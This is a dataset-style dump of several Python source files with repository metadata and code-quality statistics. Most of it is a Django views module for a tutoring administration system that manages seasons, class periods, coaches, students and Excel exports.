hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
1a6f4c59806eacb215c7b825f09f57245e0d6718
141
py
Python
database/types/genre.py
alexvnilsson-edu/biograf-seeder
f266a9e2d6d92bf6cbcf273d179f5d82ce944b77
[ "MIT" ]
null
null
null
database/types/genre.py
alexvnilsson-edu/biograf-seeder
f266a9e2d6d92bf6cbcf273d179f5d82ce944b77
[ "MIT" ]
null
null
null
database/types/genre.py
alexvnilsson-edu/biograf-seeder
f266a9e2d6d92bf6cbcf273d179f5d82ce944b77
[ "MIT" ]
null
null
null
from .__typeclass import TypeClass class Genre(TypeClass): def __init__(self, **kwargs): super(Genre, self).__init__(**kwargs)
20.142857
45
0.695035
16
141
5.5
0.625
0
0
0
0
0
0
0
0
0
0
0
0.177305
141
6
46
23.5
0.758621
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.75
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
4
1a86fcb558c3ca80a2adcb294ac25755b113577d
45
py
Python
connectomics/engine/__init__.py
yixinliao/pytorch_connectomics
0f6de546e6da1e0f3258b2c84f7e16b3a993c70c
[ "MIT" ]
1
2020-07-22T12:56:09.000Z
2020-07-22T12:56:09.000Z
connectomics/engine/__init__.py
yixinliao/pytorch_connectomics
0f6de546e6da1e0f3258b2c84f7e16b3a993c70c
[ "MIT" ]
null
null
null
connectomics/engine/__init__.py
yixinliao/pytorch_connectomics
0f6de546e6da1e0f3258b2c84f7e16b3a993c70c
[ "MIT" ]
null
null
null
from .trainer import * __all__ = ["Trainer"]
15
22
0.688889
5
45
5.4
0.8
0
0
0
0
0
0
0
0
0
0
0
0.155556
45
3
23
15
0.710526
0
0
0
0
0
0.152174
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
4
1a93e01f5b98ad755dd22c5227559dee48d2e756
180
py
Python
scripts/virtual_metrics.py
robertjankowski/social-media-influence-on-covid-pandemic
1b04aa4aa88d4788fdfa023eb21b1f00b16f0110
[ "MIT" ]
null
null
null
scripts/virtual_metrics.py
robertjankowski/social-media-influence-on-covid-pandemic
1b04aa4aa88d4788fdfa023eb21b1f00b16f0110
[ "MIT" ]
null
null
null
scripts/virtual_metrics.py
robertjankowski/social-media-influence-on-covid-pandemic
1b04aa4aa88d4788fdfa023eb21b1f00b16f0110
[ "MIT" ]
null
null
null
import networkx as nx import numpy as np def mean_opinion(g: nx.Graph): opinions = nx.get_node_attributes(g, 'l2_opinion').values() return np.mean(list(opinions))
22.5
64
0.7
28
180
4.357143
0.678571
0
0
0
0
0
0
0
0
0
0
0.006849
0.188889
180
7
65
25.714286
0.828767
0
0
0
0
0
0.057803
0
0
0
0
0
0
1
0.2
false
0
0.4
0
0.8
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
1abe4a6e2eccbd8c9a8df31440fa2152a515129e
25
py
Python
examples/uwsgi/__init__.py
BenjamenMeyer/stackInAWSGI
8ac6be173bb08addc09214ba7dc9f91727d0221a
[ "Apache-2.0" ]
2
2016-08-12T19:11:13.000Z
2017-11-19T20:52:47.000Z
examples/uwsgi/__init__.py
BenjamenMeyer/stackInAWSGI
8ac6be173bb08addc09214ba7dc9f91727d0221a
[ "Apache-2.0" ]
16
2016-05-22T05:11:12.000Z
2016-07-14T00:57:07.000Z
examples/uwsgi/__init__.py
BenjamenMeyer/stackInAWSGI
8ac6be173bb08addc09214ba7dc9f91727d0221a
[ "Apache-2.0" ]
1
2016-05-15T19:01:35.000Z
2016-05-15T19:01:35.000Z
""" Gunicorn Example """
6.25
16
0.6
2
25
7.5
1
0
0
0
0
0
0
0
0
0
0
0
0.16
25
3
17
8.333333
0.714286
0.64
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
46bdf98f663e4ca892b8006e95b191065b263c43
866
py
Python
lino_book/projects/lydia/tests/dumps/18.12.0/ledger_matchrule.py
lino-framework/lino_book
4eab916832cd8f48ff1b9fc8c2789f0b437da0f8
[ "BSD-2-Clause" ]
3
2016-08-25T05:58:09.000Z
2019-12-05T11:13:45.000Z
lino_book/projects/lydia/tests/dumps/18.12.0/ledger_matchrule.py
lino-framework/lino_book
4eab916832cd8f48ff1b9fc8c2789f0b437da0f8
[ "BSD-2-Clause" ]
18
2016-11-12T21:38:58.000Z
2019-12-03T17:54:38.000Z
lino_book/projects/lydia/tests/dumps/18.12.0/ledger_matchrule.py
lino-framework/lino_book
4eab916832cd8f48ff1b9fc8c2789f0b437da0f8
[ "BSD-2-Clause" ]
9
2016-10-15T11:12:33.000Z
2021-09-22T04:37:37.000Z
# -*- coding: UTF-8 -*- logger.info("Loading 16 objects to table ledger_matchrule...") # fields: id, account, journal loader.save(create_ledger_matchrule(1,2,1)) loader.save(create_ledger_matchrule(2,2,2)) loader.save(create_ledger_matchrule(3,4,3)) loader.save(create_ledger_matchrule(4,2,4)) loader.save(create_ledger_matchrule(5,4,4)) loader.save(create_ledger_matchrule(6,17,4)) loader.save(create_ledger_matchrule(7,2,5)) loader.save(create_ledger_matchrule(8,4,5)) loader.save(create_ledger_matchrule(9,17,5)) loader.save(create_ledger_matchrule(10,2,6)) loader.save(create_ledger_matchrule(11,4,6)) loader.save(create_ledger_matchrule(12,17,6)) loader.save(create_ledger_matchrule(13,2,7)) loader.save(create_ledger_matchrule(14,4,7)) loader.save(create_ledger_matchrule(15,17,7)) loader.save(create_ledger_matchrule(16,6,8)) loader.flush_deferred_objects()
39.363636
62
0.803695
148
866
4.466216
0.243243
0.385779
0.387292
0.532526
0.768533
0.580938
0
0
0
0
0
0.074519
0.039261
866
21
63
41.238095
0.719952
0.057737
0
0
0
0
0.057811
0
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
46d678a0dade593cc7593d98541cc40131acc1d6
189
py
Python
Generate Colours/Generate HEX Colour/function.py
wolney-fo/python-functios
ee82e0330b6d9f0132794cc52efea49af53785ca
[ "MIT" ]
null
null
null
Generate Colours/Generate HEX Colour/function.py
wolney-fo/python-functios
ee82e0330b6d9f0132794cc52efea49af53785ca
[ "MIT" ]
null
null
null
Generate Colours/Generate HEX Colour/function.py
wolney-fo/python-functios
ee82e0330b6d9f0132794cc52efea49af53785ca
[ "MIT" ]
null
null
null
from random import randint def get_hex(): hexadecimal_digits = '0123456789abcdef' hex = '' for i in range(6): hex += hexadecimal_digits[randint(0, 15)] return hex
18.9
49
0.645503
24
189
4.958333
0.75
0.235294
0.336134
0
0
0
0
0
0
0
0
0.099291
0.253968
189
9
50
21
0.744681
0
0
0
0
0
0.084656
0
0
0
0
0
0
1
0.142857
false
0
0.142857
0
0.428571
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
46e66b8b4fabc172d0e7298d5ba1941bff3db964
342
py
Python
Module 3/Chapter 6/ch6_4.py
PacktPublishing/Natural-Language-Processing-Python-and-NLTK
bb7fd9a3071b4247d13accfbf0a48eefec76e925
[ "MIT" ]
50
2016-12-11T13:49:01.000Z
2022-03-20T19:47:55.000Z
Module 3/Chapter 6/ch6_4.py
PacktPublishing/Natural-Language-Processing-Python-and-NLTK
bb7fd9a3071b4247d13accfbf0a48eefec76e925
[ "MIT" ]
null
null
null
Module 3/Chapter 6/ch6_4.py
PacktPublishing/Natural-Language-Processing-Python-and-NLTK
bb7fd9a3071b4247d13accfbf0a48eefec76e925
[ "MIT" ]
40
2017-06-14T14:02:48.000Z
2021-10-14T06:25:00.000Z
import nltk input_expr = nltk.sem.Expression.fromstring expression = input_expr('run(marcus)', type_check=True) print(expression.argument) print(expression.argument.type) print(expression.function) print(expression.function.type) sign = {'run': '<e, t>'} expression = input_expr('run(marcus)', signature=sign) print(expression.function.type)
31.090909
55
0.783626
45
342
5.866667
0.422222
0.284091
0.261364
0.166667
0.212121
0
0
0
0
0
0
0
0.067251
342
10
56
34.2
0.827586
0
0
0.2
0
0
0.090643
0
0
0
0
0
0
1
0
false
0
0.1
0
0.1
0.5
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
4
46f5822a34667766e6fb8f4e5fb714f661040afa
105
py
Python
old_django_malliva/settingsManager/apps.py
olubiyiontheweb/malliva
b212e6b359eed54c92533f0a02afe3c0042150e2
[ "MIT" ]
null
null
null
old_django_malliva/settingsManager/apps.py
olubiyiontheweb/malliva
b212e6b359eed54c92533f0a02afe3c0042150e2
[ "MIT" ]
null
null
null
old_django_malliva/settingsManager/apps.py
olubiyiontheweb/malliva
b212e6b359eed54c92533f0a02afe3c0042150e2
[ "MIT" ]
1
2021-07-19T12:15:52.000Z
2021-07-19T12:15:52.000Z
from django.apps import AppConfig class SettingsmanagerConfig(AppConfig): name = 'settingsManager'
17.5
39
0.790476
10
105
8.3
0.9
0
0
0
0
0
0
0
0
0
0
0
0.142857
105
5
40
21
0.922222
0
0
0
0
0
0.142857
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
46fa7e309c455d66119036a505b4405ab6eb10b5
166
py
Python
python/discover/__init__.py
DongqiangZeng0808/DISCOVER
87c6462b68dbd8a346a5db4df7520b79e034e587
[ "Apache-2.0" ]
1
2022-03-23T02:09:27.000Z
2022-03-23T02:09:27.000Z
python/discover/__init__.py
DongqiangZeng0808/DISCOVER
87c6462b68dbd8a346a5db4df7520b79e034e587
[ "Apache-2.0" ]
null
null
null
python/discover/__init__.py
DongqiangZeng0808/DISCOVER
87c6462b68dbd8a346a5db4df7520b79e034e587
[ "Apache-2.0" ]
null
null
null
from .data import DiscoverMatrix, row_stack from .grouptest import groupwise_discover_test from .pairwise import pairwise_discover_test __version__ = "0.9.3"
23.714286
47
0.801205
22
166
5.636364
0.681818
0.193548
0
0
0
0
0
0
0
0
0
0.021127
0.144578
166
6
48
27.666667
0.852113
0
0
0
0
0
0.03125
0
0
0
0
0
0
1
0
false
0
0.75
0
0.75
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
2006d1ee219d8ddb11b1688cc385a5afe47d0935
39,337
py
Python
webkeeper/tutor/views.py
wangbaliang/webkepper
9489041de275abb7e7d05ec322dbfaac188620b0
[ "BSD-3-Clause" ]
null
null
null
webkeeper/tutor/views.py
wangbaliang/webkepper
9489041de275abb7e7d05ec322dbfaac188620b0
[ "BSD-3-Clause" ]
null
null
null
webkeeper/tutor/views.py
wangbaliang/webkepper
9489041de275abb7e7d05ec322dbfaac188620b0
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- import arrow import xlwt import time from django.http import HttpResponse from django.shortcuts import render from django.views.decorators.csrf import ensure_csrf_cookie from django.views.decorators.http import require_http_methods import json from libs.common import require_login from libs.json_service_helper import json_service, ext_success, ext_fail from models import ( SeasonService, PeriodService, ClassTemplateService, CoachService, StudentService, DistrictService, ClassAdminService, ClassService, MonitorService ) from libs.datetime_helper import period_int_to_time, period_str_to_int # ===================================== # # 学季管理相关页面及ajax接口 # # ===================================== @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def season_list_page(request): return render(request, 'tutor/season_list.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def season_list(request): data = SeasonService.get_season_list() return ext_success({'rows': data, 'total': len(data)}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def add_season(request): post_data = request.POST year = int(post_data['year']) season_type = int(post_data['seasonType']) start_day = post_data['startDay'] end_day = post_data['endDay'] except_days = request.POST.getlist('exceptDays') data = { 'year': year, 'season_type': season_type, 'start_day': start_day, 'end_day': end_day, 'except_days': [item for item in except_days if item] } result = SeasonService.add_season(data) if result > 0: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def edit_season(request): post_data = request.POST season_id = int(post_data['id']) year = int(post_data['year']) season_type = int(post_data['seasonType']) start_day = post_data['startDay'] end_day = post_data['endDay'] except_days = request.POST.getlist('exceptDays') data = { 'id': season_id, 'year': year, 'season_type': season_type, 'start_day': start_day, 'end_day': end_day, 'except_days': [item for item in except_days if item] } result = SeasonService.update_season(data) if result: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def delete_season(request): post_data = request.POST season_id = int(post_data['id']) result = SeasonService.delete_season(season_id) if result: return ext_success() else: return ext_fail() # ===================================== # # 学季时段管理相关页面及ajax接口 # # ===================================== @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def period_list_page(request): return render(request, 'tutor/period_list.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def period_list(request): offset = int(request.GET['start']) limit = int(request.GET['limit']) data, total = PeriodService.get_period_list(limit, offset) for item in data: item.startTime = period_int_to_time(item.startTime).strftime('%H:%M') item.endTime = period_int_to_time(item.endTime).strftime('%H:%M') return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def period_find(request): season_id = int(request.GET['seasonId']) grade_type = int(request.GET['gradeType']) data = PeriodService.get_by_season_and_grade_type(season_id, grade_type) for item in data: item.startTime = period_int_to_time(item.startTime).strftime('%H:%M') item.endTime = period_int_to_time(item.endTime).strftime('%H:%M') return ext_success({'rows': data, 'total': len(data)}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def add_period(request): post_data = request.POST p_list = [] result = [] for i in range(1, 7): startTime = 'startTime' + str(i) endTime = 'endTime' + str(i) if startTime in post_data.keys(): p_list.append({ 'startTime': post_data[startTime], 'endTime': post_data[endTime] }) for item in p_list: data = { 'seasonId': int(post_data['seasonId']), 'gradeType': int(post_data['gradeType']), 'startTime': period_str_to_int(item['startTime']), 'endTime': period_str_to_int(item['endTime']), } result.append(PeriodService.add(data)) if len(result) > 0: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def edit_period(request): post_data = request.POST data = { 'id': int(post_data['id']), 'seasonId': int(post_data['seasonId']), 'gradeType': int(post_data['gradeType']), 'startTime': period_str_to_int(post_data['startTime']), 'endTime': period_str_to_int(post_data['endTime']), } result = PeriodService.update(data) if result: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def delete_period(request): post_data = request.POST period_id = int(post_data['id']) result = PeriodService.delete(period_id) if result: return ext_success() else: return ext_fail() # ===================================== # # 班型管理相关页面及ajax接口 # # ===================================== @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def class_template_list_page(request): return render(request, 'tutor/class_template_list.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def class_template_reservation_page(request): return render(request, 'tutor/class_template_reservation.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def class_template_list(request): offset = int(request.GET['start']) limit = int(request.GET['limit']) args = request.GET parameters = {} if args.get('seasonId'): parameters['season_id'] = int(request.GET['seasonId']) if args.get('grade'): parameters['grade'] = int(request.GET['grade']) if args.get('subjectId'): parameters['subject_id'] = int(request.GET['subjectId']) if args.get('periodId'): parameters['period_id'] = int(request.GET['periodId']) data, total = ClassTemplateService.filter_class_templates( limit, offset, **parameters) for item in data: item.startTime = period_int_to_time(item.startTime).strftime('%H:%M') item.endTime = period_int_to_time(item.endTime).strftime('%H:%M') return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def reservation_list(request): offset = int(request.GET['start']) limit = int(request.GET['limit']) parameters = {} data, total = ClassTemplateService.filter_reservation_list(limit, offset, **parameters) for item in data: item.startTime = period_int_to_time(item.startTime).strftime('%H:%M') item.endTime = period_int_to_time(item.endTime).strftime('%H:%M') return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def add_class_template(request): post_data = request.POST data = { 'seasonId': int(post_data['seasonId']), 'periodId': int(post_data['periodId']), 'subjectId': int(post_data['subjectId']), 'grade': int(post_data['grade']), 'cycleDay': int(post_data['cycleDay']), 'startTime': 0, 'endTime': 0, 'maxClassNum': int(post_data['maxClassNum']), 'maxStudentNum': int(post_data['maxStudentNum']), } result = ClassTemplateService.add(data) if result > 0: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def edit_class_template(request): post_data = request.POST data = { 'id': int(post_data['id']), 'seasonId': int(post_data['seasonId']), 'periodId': int(post_data['periodId']), 'subjectId': int(post_data['subjectId']), 'grade': int(post_data['grade']), 'cycleDay': int(post_data['cycleDay']), 'startTime': 0, 'endTime': 0, 'maxClassNum': int(post_data['maxClassNum']), 'maxStudentNum': int(post_data['maxStudentNum']), } result = ClassTemplateService.update(data) if result: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def delete_class_template(request): post_data = request.POST class_template_id = int(post_data['id']) result = ClassTemplateService.delete(class_template_id) if result: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def export_reservation_data(request): book = xlwt.Workbook(encoding='utf8') sheet = book.add_sheet('sheet1') season_map = __get_season_map() data, total = ClassTemplateService.filter_reservation_list(1000, 0) title_list = ['班型编号', '学季', '科目', '年级', '循环日', '时段', '最大开班数', '每班最大人数', '班型总人数', '最小教练需求数', '可用教练数', '已分班人数', '已报名还未分班人数', '累计报名人数'] row = 0 today = arrow.now('+08:00') for title_item in title_list: sheet.write(0, row, title_item, style=xlwt.Style.default_style) row += 1 start_line = 1 for line_item in data: sheet.write(start_line, 0, line_item.id, style=xlwt.Style.default_style) sheet.write(start_line, 1, __trans_season_id_to_season_string(line_item.seasonId, season_map) , style=xlwt.Style.default_style) sheet.write(start_line, 2, __SUBJECTS[line_item.subjectId], style=xlwt.Style.default_style) sheet.write(start_line, 3, __GRADES[line_item.grade], style=xlwt.Style.default_style) sheet.write(start_line, 4, __CYCLE_DAYS[line_item.cycleDay], style=xlwt.Style.default_style) sheet.write(start_line, 5, "%s~%s" % (period_int_to_time(line_item.startTime).strftime('%H:%M') , period_int_to_time(line_item.endTime).strftime('%H:%M')) , style=xlwt.Style.default_style) sheet.write(start_line, 6, line_item.maxClassNum, style=xlwt.Style.default_style) sheet.write(start_line, 7, line_item.maxStudentNum, style=xlwt.Style.default_style) sheet.write(start_line, 8, line_item.maxStudentInClass, style=xlwt.Style.default_style) sheet.write(start_line, 9, line_item.minNeededCoachNumber, style=xlwt.Style.default_style) sheet.write(start_line, 10, line_item.usableCoachNumber, style=xlwt.Style.default_style) sheet.write(start_line, 11, line_item.allotStudentNumber, style=xlwt.Style.default_style) sheet.write(start_line, 12, line_item.unallotStudentNumber, style=xlwt.Style.default_style) sheet.write(start_line, 13, line_item.allStudentNumber, style=xlwt.Style.default_style) start_line += 1 sheet.write(start_line+2, 0, "统计日期", style=xlwt.Style.default_style) today_str = today.format(u'YYYY年MM月DD日') sheet.write(start_line+2, 1, today_str, style=xlwt.Style.default_style) response = HttpResponse(content_type='application/ms-excel') response['Content-Disposition'] = 'attachment; filename=reservation%s.xls' % today.format('YYYYMMDD') book.save(response) return response # ===================================== # # 教练管理相关页面及ajax接口 # # ===================================== @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def coach_list_page(request): return render(request, 'tutor/coach_list.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def coach_list(request): offset = int(request.GET['start']) limit = int(request.GET['limit']) args = request.GET parameters = {} if args.get('userName'): parameters['userName'] = request.GET['userName'] if args.get('phone'): parameters['phone'] = request.GET['phone'] if args.get('subjectId'): parameters['subjectId'] = int(request.GET['subjectId']) if args.get('qq'): parameters['qq'] = request.GET['qq'] if args.get('cycle_day'): parameters['cycle_day'] = request.GET['cycle_day'] if args.get('period_id'): parameters['period_id'] = request.GET['period_id'] data, total = CoachService.filter_coaches(limit, offset, **parameters) return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def coach_import(request): coach_names_text = request.POST['coachNames'] coach_names = coach_names_text.replace('\r', '').split('\n') check_result = CoachService.check_import_coach_names(coach_names) if check_result.imported or check_result.notExists \ or check_result.notTeacher: return ext_fail(check_result) result = CoachService.import_coaches(coach_names) if result: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def dismiss_coach(request): coach_name = request.POST['coachName'] remark = request.POST['remark'] class_ids = CoachService.get_coach_class_ids(coach_name) if class_ids: return ext_fail(class_ids) result = CoachService.dismiss_coach( coach_name, request.user.username, remark) if result: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def set_coach_retraining(request): coach_name = request.POST['coachName'] remark = request.POST['remark'] class_ids = CoachService.get_coach_class_ids(coach_name) if class_ids: return ext_fail(class_ids) result = CoachService.set_coach_retraining(coach_name, request.user.username, remark) if result: return ext_success() return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def set_coach_trial(request): coach_name = request.POST['coachName'] remark = request.POST['remark'] result = CoachService.set_coach_trial(coach_name, request.user.username, remark) if result: return ext_success() return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def set_coach_positive(request): coach_name = request.POST['coachName'] remark = "转正" result = CoachService.set_coach_positive(coach_name, request.user.username, remark) if result: return ext_success() return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def cancel_coach_retraining(request): coach_name = request.POST['coachName'] remark = "再培结束" result = CoachService.cancel_coach_retraining(coach_name, request.user.username, remark) if result: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def set_coach_reserve(request): coach_name = request.POST['coachName'] remark = "转储备" result = CoachService.set_coach_reserve(coach_name, request.user.username, remark) if result: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def get_rank_class_num(request): """ 获取等级对应的班级数量 """ data = ClassService.get_rank_class_num() total = len(data) return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def update_rank_class_num(request): fields = ('id', 'rank', 'spring_base_num', 'spring_max_num', 'winter_base_num', 'winter_max_num') data = json.loads(request.body) print data for item in data: if item.get('id') < 0: return ext_fail(u"数据中缺少ID") flag = {k in fields for k in item.keys()} if False in flag: return ext_fail(u"非法数据") if ClassService.update_rank_class_num(request.body): return ext_success() return ext_fail(u"数据错误") @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def set_coach_class_num(request): data = request.POST coachName = data.get('coachName') coachRank = data.get('coachRank') if not coachName or not coachRank: return ext_fail() CoachService.set_coach_class_num(coachName, int(coachRank)) return ext_success() # ===================================== # # 学员管理相关页面及ajax接口 # # ===================================== @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def student_list_page(request): return render(request, 'tutor/student_list.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def student_list(request): offset = int(request.GET['start']) limit = int(request.GET['limit']) args = request.GET parameters = {} if args.get('userName'): parameters['userName'] = request.GET['userName'] if args.get('grade'): parameters['grade'] = int(request.GET['grade']) if args.get('areaCode'): parameters['areaCode'] = request.GET['areaCode'] data, total = StudentService.filter_students(limit, offset, **parameters) return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def area_data(request): data = DistrictService.get_all_area_data() result = [(key, value) for key, value in data.iteritems()] return ext_success(result) # ===================================== # # 组班管理相关页面及ajax接口 # # ===================================== @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def class_create_list_page(request): return render(request, 'tutor/class_create_list.tpl') def __is_near(class_day, start_time): start_time = arrow.get('%s %s' % (class_day, start_time)).replace(tzinfo='+08:00') line_time = arrow.now('+08:00').replace(hours=+26) return line_time >= start_time @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def class_create_task_list(request): offset = int(request.GET['start']) limit = int(request.GET['limit']) data, total = ClassAdminService.get_class_create_list(limit, offset) for item in data: item.startTime = period_int_to_time(item.startTime).strftime('%H:%M') item.endTime = period_int_to_time(item.endTime).strftime('%H:%M') item.isNear = item.taskStatus < 2 and __is_near(item.classDay, item.startTime) return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def export_class_create_tasks(request): book = xlwt.Workbook(encoding='utf8') sheet = book.add_sheet('sheet1') data, total = ClassAdminService.get_class_create_list(2000, 0) title_list = ['任务编号', '年级', '科目', '开班日期', '时段', 